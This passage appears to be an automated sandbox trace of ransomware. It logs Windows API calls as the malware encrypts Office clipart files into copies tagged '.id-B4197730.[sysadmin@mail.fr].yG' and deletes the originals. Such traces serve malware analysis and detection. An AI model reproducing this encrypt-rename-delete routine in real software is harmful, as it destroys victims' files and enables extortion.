	[0056.957] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0056.957] lstrlenW (lpString=".xlsx") returned 5
	[0056.957] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0056.957] lstrlenW (lpString=".ppt") returned 4
	[0056.957] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0056.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68
	[0056.957] lstrlenW (lpString=".zip") returned 4
	[0056.957] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0056.957] lstrlenW (lpString=".rar") returned 4
	[0056.957] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0056.957] lstrlenW (lpString=".bz2") returned 4
	[0056.957] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0056.957] lstrlenW (lpString=".7z") returned 3
	[0056.957] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0056.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68
	[0056.957] lstrlenW (lpString=".dbf") returned 4
	[0056.957] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0056.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68
	[0056.957] lstrlenW (lpString=".1cd") returned 4
	[0056.957] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0056.957] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01635_.WMF") returned 68
	[0056.957] lstrlenW (lpString=".jpg") returned 4
	[0056.957] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0056.959] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.959] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.959] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0056.960] GetLastError () returned 0x0
	[0056.960] ReadFile (in: hFile=0x2e4, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x292a, lpOverlapped=0x0) returned 1
	[0056.967] WriteFile (in: hFile=0x2f4, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x2930, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x2930, lpOverlapped=0x0) returned 1
	[0056.968] ReadFile (in: hFile=0x2e4, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0056.968] WriteFile (in: hFile=0x2f4, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xec, lpOverlapped=0x0) returned 1
	[0056.968] SetEndOfFile (hFile=0x2f4) returned 1
	[0056.968] CloseHandle (hObject=0x2f4) returned 1
	[0056.969] SetFilePointerEx (in: hFile=0x2e4, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.969] SetEndOfFile (hFile=0x2e4) returned 1
	[0056.970] CloseHandle (hObject=0x2e4) returned 1
	[0056.970] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0056.970] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\bs01638_.wmf")) returned 1
	[0056.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68
	[0056.970] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68
	[0056.970] lstrlenW (lpString=".doc") returned 4
	[0056.970] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0056.970] lstrlenW (lpString=".docx") returned 5
	[0056.970] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1
	[0056.970] lstrlenW (lpString=".pdf") returned 4
	[0056.971] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0056.971] lstrlenW (lpString=".xls") returned 4
	[0056.971] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0056.971] lstrlenW (lpString=".xlsx") returned 5
	[0056.971] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1
	[0056.971] lstrlenW (lpString=".ppt") returned 4
	[0056.971] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0056.971] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68
	[0056.972] lstrlenW (lpString=".zip") returned 4
	[0056.972] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0056.972] lstrlenW (lpString=".rar") returned 4
	[0056.972] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0056.972] lstrlenW (lpString=".bz2") returned 4
	[0056.972] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0056.972] lstrlenW (lpString=".7z") returned 3
	[0056.972] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0056.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68
	[0056.972] lstrlenW (lpString=".dbf") returned 4
	[0056.972] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0056.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68
	[0056.972] lstrlenW (lpString=".1cd") returned 4
	[0056.972] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0056.972] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\BS01638_.WMF") returned 68
	[0056.972] lstrlenW (lpString=".jpg") returned 4
	[0056.972] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0056.978] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.978] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.978] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f0
	[0056.980] GetLastError () returned 0x0
	[0056.980] ReadFile (in: hFile=0x39c, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0xdec, lpOverlapped=0x0) returned 1
	[0056.987] WriteFile (in: hFile=0x2f0, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xdf0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xdf0, lpOverlapped=0x0) returned 1
	[0056.988] ReadFile (in: hFile=0x39c, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0056.988] WriteFile (in: hFile=0x2f0, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xe8, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xe8, lpOverlapped=0x0) returned 1
	[0056.988] SetEndOfFile (hFile=0x2f0) returned 1
	[0056.988] CloseHandle (hObject=0x2f0) returned 1
	[0056.989] SetFilePointerEx (in: hFile=0x39c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.989] SetEndOfFile (hFile=0x39c) returned 1
	[0056.990] CloseHandle (hObject=0x39c) returned 1
	[0056.990] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0056.990] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cg1606.wmf")) returned 1
	[0056.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66
	[0056.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66
	[0056.991] lstrlenW (lpString=".doc") returned 4
	[0056.991] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0056.991] lstrlenW (lpString=".docx") returned 5
	[0056.991] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1
	[0056.991] lstrlenW (lpString=".pdf") returned 4
	[0056.991] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0056.991] lstrlenW (lpString=".xls") returned 4
	[0056.991] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0056.991] lstrlenW (lpString=".xlsx") returned 5
	[0056.991] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1
	[0056.991] lstrlenW (lpString=".ppt") returned 4
	[0056.991] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0056.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66
	[0056.991] lstrlenW (lpString=".zip") returned 4
	[0056.991] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0056.991] lstrlenW (lpString=".rar") returned 4
	[0056.991] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0056.991] lstrlenW (lpString=".bz2") returned 4
	[0056.991] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0056.991] lstrlenW (lpString=".7z") returned 3
	[0056.991] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0056.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66
	[0056.991] lstrlenW (lpString=".dbf") returned 4
	[0056.991] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0056.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66
	[0056.991] lstrlenW (lpString=".1cd") returned 4
	[0056.991] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0056.991] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CG1606.WMF") returned 66
	[0056.991] lstrlenW (lpString=".jpg") returned 4
	[0056.991] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0056.993] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.993] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0056.994] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0056.994] GetLastError () returned 0x0
	[0056.994] ReadFile (in: hFile=0x390, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x8d6, lpOverlapped=0x0) returned 1
	[0057.002] WriteFile (in: hFile=0x2f4, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x8e0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x8e0, lpOverlapped=0x0) returned 1
	[0057.003] ReadFile (in: hFile=0x390, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0057.003] WriteFile (in: hFile=0x2f4, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xe4, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xe4, lpOverlapped=0x0) returned 1
	[0057.003] SetEndOfFile (hFile=0x2f4) returned 1
	[0057.003] CloseHandle (hObject=0x2f4) returned 1
	[0057.004] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0057.004] SetEndOfFile (hFile=0x390) returned 1
	[0057.004] CloseHandle (hObject=0x390) returned 1
	[0057.025] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0057.028] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\clip.wmf")) returned 1
	[0057.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64
	[0057.028] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64
	[0057.028] lstrlenW (lpString=".doc") returned 4
	[0057.028] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0057.028] lstrlenW (lpString=".docx") returned 5
	[0057.028] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1
	[0057.028] lstrlenW (lpString=".pdf") returned 4
	[0057.028] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0057.028] lstrlenW (lpString=".xls") returned 4
	[0057.029] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0057.029] lstrlenW (lpString=".xlsx") returned 5
	[0057.029] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1
	[0057.029] lstrlenW (lpString=".ppt") returned 4
	[0057.029] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0057.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64
	[0057.029] lstrlenW (lpString=".zip") returned 4
	[0057.029] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0057.029] lstrlenW (lpString=".rar") returned 4
	[0057.029] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0057.029] lstrlenW (lpString=".bz2") returned 4
	[0057.029] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0057.029] lstrlenW (lpString=".7z") returned 3
	[0057.029] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0057.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64
	[0057.029] lstrlenW (lpString=".dbf") returned 4
	[0057.029] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0057.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64
	[0057.029] lstrlenW (lpString=".1cd") returned 4
	[0057.029] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0057.029] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CLIP.WMF") returned 64
	[0057.029] lstrlenW (lpString=".jpg") returned 4
	[0057.029] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0057.029] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0057.029] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0057.029] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0057.030] GetLastError () returned 0x0
	[0057.030] ReadFile (in: hFile=0x390, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0xb96, lpOverlapped=0x0) returned 1
	[0057.031] WriteFile (in: hFile=0x2f4, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xba0, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xba0, lpOverlapped=0x0) returned 1
	[0057.032] ReadFile (in: hFile=0x390, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0057.032] WriteFile (in: hFile=0x2f4, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xe2, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xe2, lpOverlapped=0x0) returned 1
	[0057.032] SetEndOfFile (hFile=0x2f4) returned 1
	[0057.032] CloseHandle (hObject=0x2f4) returned 1
	[0057.033] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0057.033] SetEndOfFile (hFile=0x390) returned 1
	[0057.033] CloseHandle (hObject=0x390) returned 1
	[0057.034] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0057.034] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cup.wmf")) returned 1
	[0057.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63
	[0057.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63
	[0057.034] lstrlenW (lpString=".doc") returned 4
	[0057.034] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0057.034] lstrlenW (lpString=".docx") returned 5
	[0057.034] lstrcmpiW (lpString1=".docx", lpString2="P.WMF") returned -1
	[0057.034] lstrlenW (lpString=".pdf") returned 4
	[0057.034] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0057.034] lstrlenW (lpString=".xls") returned 4
	[0057.034] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0057.034] lstrlenW (lpString=".xlsx") returned 5
	[0057.034] lstrcmpiW (lpString1=".xlsx", lpString2="P.WMF") returned -1
	[0057.034] lstrlenW (lpString=".ppt") returned 4
	[0057.034] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0057.034] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63
	[0057.034] lstrlenW (lpString=".zip") returned 4
	[0057.034] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0057.034] lstrlenW (lpString=".rar") returned 4
	[0057.034] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0057.034] lstrlenW (lpString=".bz2") returned 4
	[0057.034] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0057.034] lstrlenW (lpString=".7z") returned 3
	[0057.035] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0057.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63
	[0057.035] lstrlenW (lpString=".dbf") returned 4
	[0057.035] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0057.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63
	[0057.035] lstrlenW (lpString=".1cd") returned 4
	[0057.035] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
	[0057.035] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUP.WMF") returned 63
	[0057.035] lstrlenW (lpString=".jpg") returned 4
	[0057.035] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1
	[0057.035] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0057.035] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0057.035] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF.id-B4197730.[sysadmin@mail.fr].yG" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf.id-b4197730.[sysadmin@mail.fr].yg"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f4
	[0057.035] GetLastError () returned 0x0
	[0057.035] ReadFile (in: hFile=0x390, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x2856, lpOverlapped=0x0) returned 1
	[0057.046] WriteFile (in: hFile=0x2f4, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0x2860, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0x2860, lpOverlapped=0x0) returned 1
	[0057.047] ReadFile (in: hFile=0x390, lpBuffer=0x3c1d020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x2d6fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesRead=0x2d6fecc*=0x0, lpOverlapped=0x0) returned 1
	[0057.047] WriteFile (in: hFile=0x2f4, lpBuffer=0x3c1d020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x2d6fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c1d020*, lpNumberOfBytesWritten=0x2d6fc94*=0xea, lpOverlapped=0x0) returned 1
	[0057.047] SetEndOfFile (hFile=0x2f4) returned 1
	[0057.047] CloseHandle (hObject=0x2f4) returned 1
	[0057.048] SetFilePointerEx (in: hFile=0x390, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x2d6fec0 | out: lpNewFilePointer=0x0) returned 1
	[0057.048] SetEndOfFile (hFile=0x390) returned 1
	[0057.048] CloseHandle (hObject=0x390) returned 1
	[0057.049] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF.id-B4197730.[sysadmin@mail.fr].yG", dwFileAttributes=0x220) returned 1
	[0057.049] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\cupinst.wmf")) returned 1
	[0057.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67
	[0057.049] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67
	[0057.049] lstrlenW (lpString=".doc") returned 4
	[0057.049] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1
	[0057.049] lstrlenW (lpString=".docx") returned 5
	[0057.049] lstrcmpiW (lpString1=".docx", lpString2="T.WMF") returned -1
	[0057.050] lstrlenW (lpString=".pdf") returned 4
	[0057.050] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1
	[0057.050] lstrlenW (lpString=".xls") returned 4
	[0057.050] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1
	[0057.050] lstrlenW (lpString=".xlsx") returned 5
	[0057.050] lstrcmpiW (lpString1=".xlsx", lpString2="T.WMF") returned -1
	[0057.050] lstrlenW (lpString=".ppt") returned 4
	[0057.050] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1
	[0057.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67
	[0057.050] lstrlenW (lpString=".zip") returned 4
	[0057.050] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1
	[0057.050] lstrlenW (lpString=".rar") returned 4
	[0057.050] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1
	[0057.050] lstrlenW (lpString=".bz2") returned 4
	[0057.050] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1
	[0057.050] lstrlenW (lpString=".7z") returned 3
	[0057.050] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1
	[0057.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67
	[0057.050] lstrlenW (lpString=".dbf") returned 4
	[0057.050] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1
	[0057.050] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\CUPINST.WMF") returned 67
	[0057.050] lstrlenW (lpString=".1cd") returned 4
	[0057.050] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1
